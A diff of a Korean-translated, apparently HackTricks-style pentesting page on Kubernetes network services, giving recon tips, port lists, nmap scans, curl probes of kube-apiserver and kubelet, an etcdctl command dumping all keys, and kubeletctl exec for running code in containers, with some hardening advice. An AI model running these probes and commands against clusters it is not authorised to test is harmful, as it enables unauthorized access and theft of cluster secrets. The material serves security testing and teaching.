- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
|
||||
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,15 +2,25 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Kubernetes는 **Internet에 노출**되어 있거나 **pod 하나를 compromise한 뒤 내부 network**에서 찾을 수 있는 여러 **specific network services**를 사용합니다.
|
||||
Kubernetes는 **Internet에 노출**되었을 수 있거나, **한 pod를 compromise한 후 internal network**에서 찾을 수 있는 여러 **specific network services**를 사용합니다.
|
||||
|
||||
## OSINT로 exposed pods 찾기
|
||||
|
||||
한 가지 방법은 [crt.sh](https://crt.sh)에서 `Identity LIKE "k8s.%.com"`를 검색해 kubernetes 관련 subdomains를 찾는 것입니다. 다른 방법은 github에서 `"k8s.%.com"`을 검색하고 해당 문자열을 포함한 **YAML files**를 찾는 것입니다.
|
||||
한 가지 방법은 [crt.sh](https://crt.sh)에서 `Identity LIKE "k8s.%.com"`을 검색해 kubernetes 관련 subdomain을 찾는 것입니다. 또 다른 방법은 github에서 `"k8s.%.com"`을 검색하고 해당 문자열을 포함한 **YAML files**를 찾는 것입니다.
|
||||
|
||||
scan하기 전에 상관관계를 확인하기 위한 유용한 external recon signal:
|
||||
|
||||
- `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, 또는 region names를 포함하는 DNS 및 certificate transparency 이름.
|
||||
- 노출된 application 또는 platform UI를 cluster와 연결할 수 있는 cloud load balancer 이름, CNAMEs, tags, provider hostnames.
|
||||
- kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, 또는 dashboard settings를 leak하는 public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, 문서.
|
||||
- cloud credentials가 scope에 있을 때 확인할 수 있는 managed Kubernetes inventory: EKS endpoint public/private access 및 public CIDRs, GKE public/private control-plane settings 및 authorized networks, AKS private cluster/API server authorized IP settings.
|
||||
- Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, ingress-controller admin 또는 metrics endpoints 같은 cluster 주변의 exposed platform tools.
|
||||
|
||||
이것들은 attribution과 prioritization clue로 다루세요. public Ingress application은 많은 cluster에서 정상적이지만, exposed kubelet, etcd, dashboard, CI/CD deploy control, 또는 leak된 kubeconfig 자료는 훨씬 더 높게 우선순위를 두어야 합니다.
|
||||
|
||||
## Kubernetes가 Services를 Expose하는 방법
|
||||
|
||||
이를 찾기 위해 Kubernetes가 **services를 public하게 expose**하는 방식을 이해하는 것이 도움이 될 수 있습니다:
|
||||
찾기 위해 Kubernetes가 어떻게 서비스를 **publicly expose**할 수 있는지 이해하는 것이 도움이 될 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../exposing-services-in-kubernetes.md
|
||||
@@ -28,13 +38,13 @@ Kubernetes는 **Internet에 노출**되어 있거나 **pod 하나를 compromise
|
||||
| 4194/TCP | cAdvisor | Container metrics |
|
||||
| 6443/TCP | kube-apiserver | Kubernetes API port |
|
||||
| 8443/TCP | kube-apiserver | Minikube API port |
|
||||
| 8080/TCP | kube-apiserver | Insecure API port |
|
||||
| 8080/TCP | kube-apiserver | Insecure API port |
|
||||
| 10250/TCP | kubelet | full mode access를 허용하는 HTTPS API |
|
||||
| 10255/TCP | kubelet | 인증되지 않은 read-only HTTP port: pods, running pods 및 node state |
|
||||
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
|
||||
| 10256/TCP | kube-proxy | Kube Proxy health check server |
|
||||
| 9099/TCP | calico-felix | Calico용 health check server |
|
||||
| 9099/TCP | calico-felix | Calico용 Health check server |
|
||||
| 6782-4/TCP | weave | Metrics and endpoints |
|
||||
| 30000-32767/TCP | NodePort | services로의 proxy |
|
||||
| 30000-32767/TCP | NodePort | services로의 Proxy |
|
||||
| 44134/TCP | Tiller | Helm service listening |
|
||||
|
||||
### Nmap
|
||||
@@ -43,15 +53,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
|
||||
```
|
||||
### Kube-apiserver
|
||||
|
||||
이것은 관리자가 일반적으로 도구 **`kubectl`**을 사용해 상호작용하는 **API Kubernetes 서비스**입니다.
|
||||
이것은 관리자가 보통 **`kubectl`** 도구를 사용해 상호작용하는 **API Kubernetes service**입니다.
|
||||
|
||||
**일반적인 포트: 6443 및 443**, 하지만 minikube에서는 8443도 사용되며, insecure로 8080도 사용됩니다.
|
||||
**Common ports: 6443 and 443**, 하지만 minikube에서는 8443도 사용되며, insecure로 8080도 사용됩니다.
|
||||
```bash
|
||||
curl -k https://<IP Address>:(8|6)443/swaggerapi
|
||||
curl -k https://<IP Address>:(8|6)443/healthz
|
||||
curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
```
|
||||
**다음 페이지를 확인하여 이 service와 통신하면서 sensitive data를 얻고 sensitive actions를 수행하는 방법을 알아보세요:**
|
||||
**이 페이지를 확인하여 이 서비스와 통신하면서 민감한 데이터를 얻고 민감한 작업을 수행하는 방법을 알아보세요:**
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-enumeration.md
|
||||
@@ -59,9 +69,9 @@ curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
|
||||
### Kubelet API
|
||||
|
||||
이 service는 **클러스터의 모든 node에서 실행**됩니다. **node** 내부의 pods를 **control**하는 service입니다. **kube-apiserver**와 통신합니다.
|
||||
이 서비스는 **클러스터의 모든 node에서 실행됩니다**. **node** 내부의 pods를 **control**하는 서비스입니다. **kube-apiserver**와 통신합니다.
|
||||
|
||||
이 service가 노출된 것을 찾았다면 **unauthenticated RCE**를 찾은 것일 수 있습니다.
|
||||
이 서비스가 노출되어 있다면 **unauthenticated RCE**를 찾았을 수 있습니다.
|
||||
|
||||
#### Kubelet API
|
||||
```bash
|
||||
@@ -70,7 +80,7 @@ curl -k https://<IP address>:10250/pods
|
||||
```
|
||||
If the response is `Unauthorized` then it requires authentication.
|
||||
|
||||
노드를 나열할 수 있다면 다음으로 kubelets endpoints 목록을 얻을 수 있습니다:
|
||||
If you can list nodes you can get a list of kubelets endpoints with:
|
||||
```bash
|
||||
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
|
||||
ip=$(echo $node | awk '{print $1}')
|
||||
@@ -79,7 +89,7 @@ echo "curl -k --max-time 30 https://$ip:$port/pods"
|
||||
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
|
||||
done
|
||||
```
|
||||
#### kubelet (Read only)
|
||||
#### kubelet (읽기 전용)
|
||||
```bash
|
||||
curl -k https://<IP Address>:10255
|
||||
http://<external-IP>:10255/pods
|
||||
@@ -98,29 +108,52 @@ You could abuse this service to escalate privileges inside Kubernetes:
|
||||
|
||||
### cAdvisor
|
||||
|
||||
메트릭을 수집하는 데 유용한 Service.
|
||||
메트릭을 수집하는 데 유용한 서비스.
|
||||
```bash
|
||||
curl -k https://<IP Address>:4194
|
||||
```
|
||||
### NodePort
|
||||
|
||||
포트가 **NodePort**를 통해 모든 node에 노출되면, 모든 node에서 동일한 포트가 열리고 해당 트래픽을 선언된 **Service**로 proxy합니다. 기본적으로 이 포트는 **30000-32767** 범위에 있습니다. 따라서 새로 확인되지 않은 service가 이러한 포트를 통해 접근 가능할 수 있습니다.
|
||||
포트가 **NodePort**를 통해 모든 노드에 노출되면, 동일한 포트가 모든 노드에서 열리고 트래픽을 선언된 **Service**로 프록시합니다. 기본적으로 이 포트는 **range 30000-32767**에 있습니다. 따라서 새로 확인되지 않은 서비스는 이러한 포트를 통해 접근 가능할 수 있습니다.
|
||||
```bash
|
||||
sudo nmap -sS -p 30000-32767 <IP>
|
||||
```
|
||||
### Service mesh and proxy surfaces
|
||||
|
||||
**Istio, Linkerd, Cilium service mesh, 또는 Envoy-based gateways**를 사용하는 클러스터는 열거할 또 하나의 서비스 계층을 추가합니다. mesh는 mTLS, workload identity, L7 routing, authorization policy, telemetry, 그리고 gateway/egress controls를 제공할 수 있지만, 실제로 mesh에 등록되고 intercept된 traffic만 보호합니다.
|
||||
|
||||
Kubernetes access에서 유용한 점검 사항:
|
||||
```bash
|
||||
kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium'
|
||||
kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io'
|
||||
kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep 'istio|linkerd|cilium'
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name'
|
||||
kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble'
|
||||
```
|
||||
Review:
|
||||
|
||||
- injection을 opt out한 Namespaces 또는 workloads, 아직 proxy 없이 실행 중인 것, 또는 injection이 enabled되기 전에 생성된 것.
|
||||
- mTLS mode. Permissive migration modes는 여전히 unmeshed sources로부터 plaintext를 accept할 수 있음.
|
||||
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources.
|
||||
- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces.
|
||||
- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points.
|
||||
- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly.
|
||||
|
||||
Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route.
|
||||
|
||||
## Vulnerable Misconfigurations
|
||||
|
||||
### Kube-apiserver Anonymous Access
|
||||
|
||||
**kube-apiserver API endpoints**에 대한 anonymous access는 허용되지 않습니다. 하지만 몇 가지 endpoint는 확인해볼 수 있습니다:
|
||||
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
|
||||
|
||||
|
||||
|
||||
### **Checking for ETCD Anonymous Access**
|
||||
|
||||
ETCD는 cluster secrets, configuration files 그리고 더 많은 **sensitive data**를 저장합니다. **기본적으로**, ETCD는 **익명으로** 접근할 **수 없지만**, 항상 확인하는 것이 좋습니다.
|
||||
The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check.
|
||||
|
||||
ETCD에 익명으로 접근할 수 있다면, [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**을 **사용해야 할 수도 있습니다**. 다음 command는 저장된 모든 key를 가져옵니다:
|
||||
If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored:
|
||||
```bash
|
||||
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
```
|
||||
@@ -130,13 +163,13 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
|
||||
> Kubelet server에 대한 anonymous requests를 활성화합니다. 다른 authentication method에 의해 거부되지 않은 requests는 anonymous requests로 처리됩니다. Anonymous requests는 `system:anonymous`라는 username과 `system:unauthenticated`라는 group name을 가집니다.
|
||||
|
||||
**Kubelet API의 authentication and authorization이 어떻게 작동하는지** 더 잘 이해하려면 이 페이지를 확인하세요:
|
||||
**Kubelet API의 authentication and authorization가 어떻게 동작하는지** 더 잘 이해하려면 이 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
**Kubelet** 서비스 **API는 문서화되어 있지 않지만**, source code는 여기에서 찾을 수 있고, exposed endpoints를 찾는 것은 다음을 **실행**하는 것만큼 쉽습니다:
|
||||
**Kubelet** service **API는 문서화되어 있지 않지만**, source code는 여기서 찾을 수 있고, 노출된 endpoints를 찾는 것은 다음을 **실행하는 것만큼** 쉽습니다:
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
|
||||
|
||||
@@ -148,30 +181,30 @@ Path("/portForward")
|
||||
Path("/containerLogs")
|
||||
Path("/runningpods/").
|
||||
```
|
||||
이 모든 것들이 흥미롭게 들립니다.
|
||||
모두 흥미롭게 들립니다.
|
||||
|
||||
[**Kubeletctl**](https://github.com/cyberark/kubeletctl) 도구를 사용해 Kubelet과 그 엔드포인트와 상호작용할 수 있습니다.
|
||||
[**Kubeletctl**](https://github.com/cyberark/kubeletctl) 도구를 사용하여 Kubelets 및 해당 endpoints와 상호작용할 수 있습니다.
|
||||
|
||||
#### /pods
|
||||
|
||||
이 엔드포인트는 pods와 그 containers를 나열합니다:
|
||||
이 endpoint는 pods와 그 containers를 나열합니다:
|
||||
```bash
|
||||
kubeletctl pods
|
||||
```
|
||||
#### /exec
|
||||
|
||||
이 endpoint는 어떤 container 안에서든 code를 매우 쉽게 execute할 수 있게 해준다:
|
||||
이 엔드포인트는 어떤 container 안에서도 code를 매우 쉽게 execute할 수 있게 해줍니다:
|
||||
```bash
|
||||
kubeletctl exec [command]
|
||||
```
|
||||
> [!NOTE]
|
||||
> 이 공격을 방지하려면 _**kubelet**_ service를 `--anonymous-auth false`로 실행해야 하며, service는 network 수준에서 분리되어야 합니다.
|
||||
> 이 공격을 피하려면 _**kubelet**_ 서비스는 `--anonymous-auth false`로 실행해야 하며, 서비스는 네트워크 수준에서 분리되어야 합니다.
|
||||
|
||||
### **Checking Kubelet (Read Only Port) Information Exposure**
|
||||
### **Kubelet (Read Only Port) 정보 노출 확인**
|
||||
|
||||
**kubelet read-only port**가 노출되면, 권한 없는 주체가 API에서 정보를 가져갈 수 있습니다. 이 port의 노출은 다양한 **cluster configuration elements**의 유출로 이어질 수 있습니다. **pod names, internal files의 위치, 기타 configurations**를 포함한 정보는 치명적이지 않을 수 있지만, 그래도 노출 자체가 security risk를 초래하므로 피해야 합니다.
|
||||
**kubelet read-only port**가 노출되면, 권한이 없는 사용자가 API에서 정보를 가져올 수 있게 됩니다. 이 포트의 노출은 다양한 **cluster configuration elements**의 유출로 이어질 수 있습니다. **pod 이름, 내부 파일의 위치, 기타 설정**을 포함한 정보가 반드시 치명적이지는 않더라도, 노출 자체가 보안 위험을 초래하므로 피해야 합니다.
|
||||
|
||||
이 취약점을 악용하는 예시는 remote attacker가 특정 URL에 접근하는 것입니다. `http://<external-IP>:10255/pods`로 이동하면, attacker는 kubelet에서 민감한 정보를 가져올 수 있습니다:
|
||||
이 취약점이 어떻게 악용될 수 있는지의 예로는, 원격 공격자가 특정 URL에 접근하는 경우가 있습니다. `http://<external-IP>:10255/pods`로 이동하면 공격자는 kubelet에서 민감한 정보를 가져올 수 있습니다:
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user